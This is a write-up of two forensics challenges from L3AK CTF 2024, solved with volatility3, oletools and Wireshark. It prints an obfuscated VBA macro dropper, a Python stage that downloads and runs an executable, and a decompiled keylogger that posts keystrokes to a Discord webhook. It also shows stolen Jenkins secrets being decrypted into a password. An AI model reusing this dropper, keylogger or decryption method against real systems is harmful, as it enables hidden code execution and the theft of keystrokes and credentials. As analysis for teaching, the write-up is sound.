L3AKCTF 2024 Forensics Writeups

Ahmed Ghanem
10 min readMay 28, 2024

--

In this writeup, we will dive into the forensics challenges presented in the L3AK CTF 2024, providing detailed solutions and methodologies used to tackle each Challenge,

— — — — — — — — + — — — — — — — -+ — — — — — +
| Challenge | Category
+ — — — — — — — — + — — — — — — — -+ — — — — +
|
The Spy | Memory Forensics
+ — — — — — — — — + — — — — — — — -+ — — — — +
|
Impostor | Network Forensics
+ — — — — — — — — + — — — — — — — -+ — — — — +

Challenge: The Spy
Category: Memory Forensics

You can find challenge file Here .

After we Downloaded the challenge file , we got memdump.zip which contains a memory dump file memdump.mem

This is a memory dump for windows OS , so we can use volatility3 to analyze the memory dump

I started to check the running process at the time the dump was taken

python3 ~/Forensics/Tools/vol3/volatility3-2.4.1/vol.py  -f memdump.mem  windows.pslist
Running Processes

we found a soffice.exe is running, soffice.exe is a document viewer like Microsoft Office which indicates that there was a document file running

After that, I started to scan for document files that were loaded to the memory during the dump

python3 ~/Forensics/Tools/vol3/volatility3-2.4.1/vol.py  -f memdump.mem  windows.filescan.FileScan | grep -E "*.doc"
document file

I found that there is only one document file in the memory which was in the Downloads Folder with a name :

\Users\Abdelrhman\Downloads\Cyber Security and Computer Forensics BSc(Hons) 2021–22.doc

The description of challenge referring to an educational course which I think this document belongs to .

Then I started to extract this document at the physical address `0x7f84e8a8` to check its content using the following

python3 ~/Forensics/Tools/vol3/volatility3-2.4.1/vol.py -f memdump.mem windows.dumpfiles.DumpFiles --physaddr 0x7f84e8a8

we successfully extracted the document file, after that, i started to analyze the document file using Oletools

I checked for any Macros in the document using the olevba

olevba "file.0x7f84e8a8.0x848906b0.DataSectionObject.Cyber Security and Computer Forensics BSc(Hons) 2021-22.doc.dat"

I found the following Visual basic code (Macros) in the document

Private Declare PtrSafe Function a1AaQ Lib "urlmon" Alias "URLDownloadToFileA" ( _
ByVal b1BbQ As LongPtr, _
ByVal c1CcQ As String, _
ByVal d1DdQ As String, _
ByVal e1EeQ As Long, _
ByVal f1FfQ As LongPtr) As Long

Public Function b1BbR(c1CcR As String) As String
Dim d1DdR As Integer
Dim e1EeR As Integer
Dim f1FfR As String

If Len(c1CcR) = 0 Or Len(c1CcR) Mod 2 <> 0 Then Exit Function

d1DdR = Len(c1CcR)

For e1EeR = 1 To Len(c1CcR)
If e1EeR Mod 2 <> 0 Then
f1FfR = f1FfR & Chr$(Val("&H" & Mid$(c1CcR, e1EeR, 2)))
End If
Next

b1BbR = f1FfR
End Function

Sub c1CcS()
Dim d1DdS As String
Dim e1EeS As String
Dim f1FfS As String
Dim g1GgS As String
Dim h1HhS As Long
Dim username As String

username = Environ("USERNAME")
d1DdS = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"

e1EeS = j2JjS(d1DdS)

f1FfS = b1BbR(e1EeS)

g1GgS = "C:\Users\" & username & "\AppData\Local\pp.py"

h1HhS = a1AaQ(0, f1FfS, g1GgS, 0, 0)

If h1HhS = 0 Then
MsgBox "File downloaded successfully.", vbInformation
' Run the Python script
RunPython
Else
MsgBox "Failed to download file.", vbExclamation
End If
End Sub

Function j2JjS(k2KkS As String) As String
Dim l2LlS As String
Dim m2MmS As Integer
For m2MmS = 1 To Len(k2KkS)
Select Case Asc(Mid(k2KkS, m2MmS, 1))
Case 65 To 77, 97 To 109
l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) + 13)
Case 78 To 90, 110 To 122
l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) - 13)
Case Else
l2LlS = l2LlS & Mid(k2KkS, m2MmS, 1)
End Select
Next m2MmS
j2JjS = l2LlS
End Function

Sub RunPython()
Dim PythonExe As String
Dim PythonScript As String
Dim Command As String
Dim username As String

username = Environ("USERNAME")

PythonExe = "C:\Users\" & username & "\AppData\Local\Microsoft\WindowsApps\python3.exe"
PythonScript = "C:\Users\" & username & "\AppData\Local\pp.py"
Command = PythonExe & " " & PythonScript

Shell Command, vbNormalFocus
End Sub

The Code seems to be obfuscated

With the help of chatgpt, I converted the code to Python (a programming language I am good with)

import os
import base64
import requests
import subprocess

def decode_rot13(input_str):
result = []
for char in input_str:
if 'A' <= char <= 'M' or 'a' <= char <= 'm':
result.append(chr(ord(char) + 13))
elif 'N' <= char <= 'Z' or 'n' <= char <= 'z':
result.append(chr(ord(char) - 13))
else:
result.append(char)
return ''.join(result)

def hex_to_ascii(hex_str):
ascii_str = ""
for i in range(0, len(hex_str), 2):
ascii_str += chr(int(hex_str[i:i+2], 16))
return ascii_str

def download_file(url, local_path):
response = requests.get(url)
with open(local_path, 'wb') as file:
file.write(response.content)
return response.status_code

def main():
obfuscated_url = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"

decoded_url = decode_rot13(obfuscated_url)
actual_url = hex_to_ascii(decoded_url)
username = os.getlogin()
local_path = f"C:\\Users\\{username}\\AppData\\Local\\pp.py"

status_code = download_file(actual_url, local_path)

if status_code == 200:
print("File downloaded successfully.")
run_python_script(local_path)
else:
print("Failed to download file.")

def run_python_script(script_path):
python_exe = f"C:\\Users\\{os.getlogin()}\\AppData\\Local\\Microsoft\\WindowsApps\\python3.exe"
subprocess.run([python_exe, script_path], check=True)

if __name__ == "__main__":
main()

In the main() function we find that obfuscated_url is decoded from rot13 and then from hex to ascii, we can use bash one line to do this

echo "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"  | rot13 | xxd -p -r

Now we got a Google Drive link , which contains Python code which used in macros code to run pp.py using python.exe on Windows

The content of Google Drive pp.py file is :

import os
import requests

def download_file_from_google_drive(file_id, destination):
URL = "https://docs.google.com/uc?export=download"

session = requests.Session()

response = session.get(URL, params={'id': file_id}, stream=True)
token = get_confirm_token(response)

if token:
params = {'id': file_id, 'confirm': token}
response = session.get(URL, params=params, stream=True)

save_response_content(response, destination)

def get_confirm_token(response):
for key, value in response.cookies.items():
if key.startswith('download_warning'):
return value
return None

def save_response_content(response, destination):
CHUNK_SIZE = 32768

with open(destination, "wb") as f:
for chunk in response.iter_content(CHUNK_SIZE):
if chunk:
f.write(chunk)

def hex_to_binary(hex_str):
return bytes.fromhex(hex_str)

def save_binary_to_file(binary_data, file_path):
with open(file_path, 'wb') as file:
file.write(binary_data)

def reverse_hex_conversion(file_path, output_file):
with open(file_path, 'r') as file:
hex_content = file.read().strip()
binary_data = hex_to_binary(hex_content)
save_binary_to_file(binary_data, output_file)

def run_retrieved_file(file_path):
os.system(file_path)

if __name__ == "__main__":
# Download the file and save it as file_hex.txt
file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0"
input_file = "file_hex.txt"
download_file_from_google_drive(file_id, input_file)

# Convert hex to binary and save it as L3AK.exe
output_file = "L3AK.exe"
reverse_hex_conversion(input_file, output_file)

# Execute the retrieved file
run_retrieved_file(output_file)

print("File retrieved and executed as L3AK.exe")

This script downloads a file from the following link, which is a file containing hex values of the L3AK.exe file , After running the code we will get an L3AK.exe file

Thanks to my friend S3dny who helped me reverse the Executable file 💖💖

Using the Detect It Easy program

we found the L3AK.exe is packed with PyInstaller, So our next step was to use pyinextractor to extract the pyc files that are inside the exe

We found a keylogger.pyc file which seems suspicious, after that we can use online Python bytecode decompiler to get the source code of the keylogger.pyc

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: keylogger.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

from pynput.keyboard import Listener, Key
from threading import Timer
from dhooks import Webhook
WEBHOOK_URL = 'https://discord.com/api/webhooks/1240207195849883739/IrZDxAPOwxaHyUOZCcqLVQSRhl4FjwaYzaCUJTvEdmf5Y_jKmzxUMuz2jp3UyRnrvfsl'
INTERVAL = 30
hjlkhas = 'aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM='

class Keylogger:

def __init__(self, WB_URL, interval=30):
self.WB_URL = WB_URL
self.interval = interval
self.log = ''
self.special_keys = {Key.space: ' ', Key.enter: '\n', Key.tab: '\t', Key.backspace: '[BACKSPACE]', Key.esc: '[ESC]'}
self.current_keys = set()

def _send_info(self, log):
if log != '':
webhook = Webhook(self.WB_URL)
webhook.send(log)

def _key_down(self, key):
if key in self.special_keys:
self.log += self.special_keys[key]
elif isinstance(key, Key):
self.current_keys.add(key)
elif Key.shift in self.current_keys or Key.shift_r in self.current_keys:
self.log += key.char.upper()
else:
self.log += key.char
if key == Key.backspace and len(self.log) > 0:
self.log = self.log[:-11]

def _key_up(self, key):
if key in self.current_keys:
self.current_keys.remove(key)

def _report(self):
self._send_info(self.log)
self.log = ''
Timer(self.interval, self._report).start()

def run(self):
self._report()
with Listener(on_press=self._key_down, on_release=self._key_up) as listener:
listener.join()
if __name__ == '__main__':
Keylogger(WEBHOOK_URL, INTERVAL).run()

We found a variable hjilkhas which contains base64 encoded text

After Decoding, we got a Discord server link

After we joined the server we got the flag


L3AK{D1sc0rd_WebH00ks_4re_C001}

Challenge: Imposter
Category: Network Forensics

You can find the challenge file Here

We are given a challenge.pcapng and auth.log files, After I opened challenge.pcapng with Wireshark and checked the Protocol Hierarchy Statistics

I found HTTP Traffic which is not a secure protocol and the data was sent in plaintext so I started with it.

After following the HTTP stream, I found a GET request that gets a file with the name {data.bin}

http stream
QMSKuQ1jyJEwJYVQPQNGfTdsjT1dbfPBxU1kCuYTwUZC552VDJdFC3NNY6cy5hEm1hAEQn31sJH6VRtknUWjTMyRT5Q4swp71q6QfLX3wCLrgfiDYXGeim49bUpgbSdDfc2EZbgBhBeL8tC2GrPogAAVN1BQ14pEVDm7TzsFNUqvLjLk7M6vY9UsemS1m4AzVshZCSs6sY31f5UCkYC6BbvWUrqFeab5m5DCxZFroHHuCKu6yQQA4BJeASiicfoktdUWHtQeszxuQi6HXBQGytZ5mtGSbbhn2UZngWENU6ESZVLrG3siwz3uFCQw71H78Q29YXgqZb6sv4uDhS95YV3ae8DKLMwrm5c9wWuhM24

This file contains data that seems encoded, so I checked the auth.log file manually and I found the encoding is base58

from auth.log

After decoding the text, we got a bash script with job_name variable containing base64 encoded string

RV8zMGQ4NGQ4MDFiMjk0N2YxYmQyZmFhZTRmZGNiYjkyNn0=

After decoding the base64 we got the end of the flag

END OF THE FLAG --> E_30d84d801b2947f1bd2faae4fdcbb926}

Now we have the second part of the flag, where is the first ?????

Let’s see the data sent by WebSocket Protocol.
After filtering the wireshark packets with WebSocket

I found a stream of data communication between
192.168.222.151 & 192.168.222.157

I used tshark to extract this data using the following command :

tshark -r challenge.pcapng -Y "websocket" -T fields -e data | xxd -r -p 

I found three interesting things :

1s_0n_3dg → part from the flag

1s_0n_3dgE_30d84d801b2947f1bd2faae4fdcbb926}

the other things are jenkins/secrets/master.key & /jenkins/credentials.xml

The master.key contains hex values

605e14585c4ed5ee661222614b7c490deefa41e465ccc2c700c4fd653a749a62b1ee7e5ffb48167684567c91aa5da99571f6ce0c28d379a2a7891eb0557f2f582e12006531f7f640d458427715d23124593bedd630c1afaef6efb19fd3d27af99eea4e3088760a92608547753bf34998494433d1656763418c11c3723d37f2ba

credentials.xml contains a password

After that, I wanted to know more about these credentials and keys,
I found the following blog

The blog illustrates that these keys used together to decrypt the credentials

{AQAAABAAAAAgZv2vv4JB/AgWN1I47+8m9yZ+me7oTd6xvWNvtk5vJcx6UTPCzAvPcL3ugFrzQ0L+}

Now we have a master.key & credentials.xml and we need to find the third secret (hudson.util.Secret)

master.key 
hudson.util.Secret
credentials.xml

I returned back to the Wireshark and I filtered packets on data

I found only one TCP packet that contains the hudson.util.Secret

bVQLtMSaYTJHySBnbSLHJ0jLKH6td7bT6cpiphGg6SGwLFlIVn8RW/9ZVuF4NvBYPTfS1Y1BSBjB
gGxl5Vb+H4Tr+D7XGW91Z9Md9iRM9i3AtvP/PydyMNjKttbgSNH6b4E/8KkE+lB1qTJUDEEDShRi
BQvotLzecEE7OyIdl9NXEn6Z09geuBlVWz2ZIdYl10f2LtFsMvyUX6fB/5r0sxuvM3/xBbSih1gL
Il0lTszGbjqr1uzF92Z+8go5eI+kB6W81a+2SYyj5MY29LKklmqHLlz3G4a42UY1wjWZEtD3Q6Q1
96EQ72RkEtfnSCbRSAL8EjbhkNFO6z250tKoxAA4YFhA+RiFKreJHR/3nJE=

From the auth.log file, I found that hudson.util.Secret is base64 encoded.

I found many scripts used to decrypt but unfortunately, nothing really worked.😓

At this point, I collaborated with my Great friend em07robot who plays cryptography ❤️ 🤝.

We tried to write new scripts or edit the online scripts but nothing worked, so We tried to think out of the box

we made a setup for Jenkins Dashboard locally and tried to replace the 3 files we found with the original ones of the dashboard

After that we found the master.key at `~/.jenkins/secrets`, and we replaced this master.key with the one we found → (1)

we did not find the credentails.xml or hudson.util.Secret in the Jenkins files, after some research we found that these files are created when you first configure credentials in Jenkins

now we searched how to configure credentials in jenkins , we found that the following path `/manage/credentials/store/system/domain/_/newCredentials`

after we created the credentials we found credentials.xml created at the following path `~/.jenkins` & we found hudson.util.Secret created at `~/.jenkins/secrets` now we need to replace these files with the files we found

then now we can use the Script console at the jenkins dashboard to decrypt the the password

import hudson.util.Secret

def encryptedString = '{AQAAABAAAAAgZv2vv4JB/AgWN1I47+8m9yZ+me7oTd6xvWNvtk5vJcx6UTPCzAvPcL3ugFrzQ0L+}' // Replace with your actual encrypted string
def decryptedString = Secret.decrypt(encryptedString).getPlainText()
println(decryptedString)

Now we are able to decrypt the password which is base64 string

TDNBS3tKM25rMW4kXw==  ---> L3AK{J3nk1n$_
flag --> L3AK{J3nk1n$_1s_0n_3dgE_30d84d801b2947f1bd2faae4fdcbb926}

Thanks for your time and effort. I hope you liked and enjoyed reading it. ❤️❤️

--

--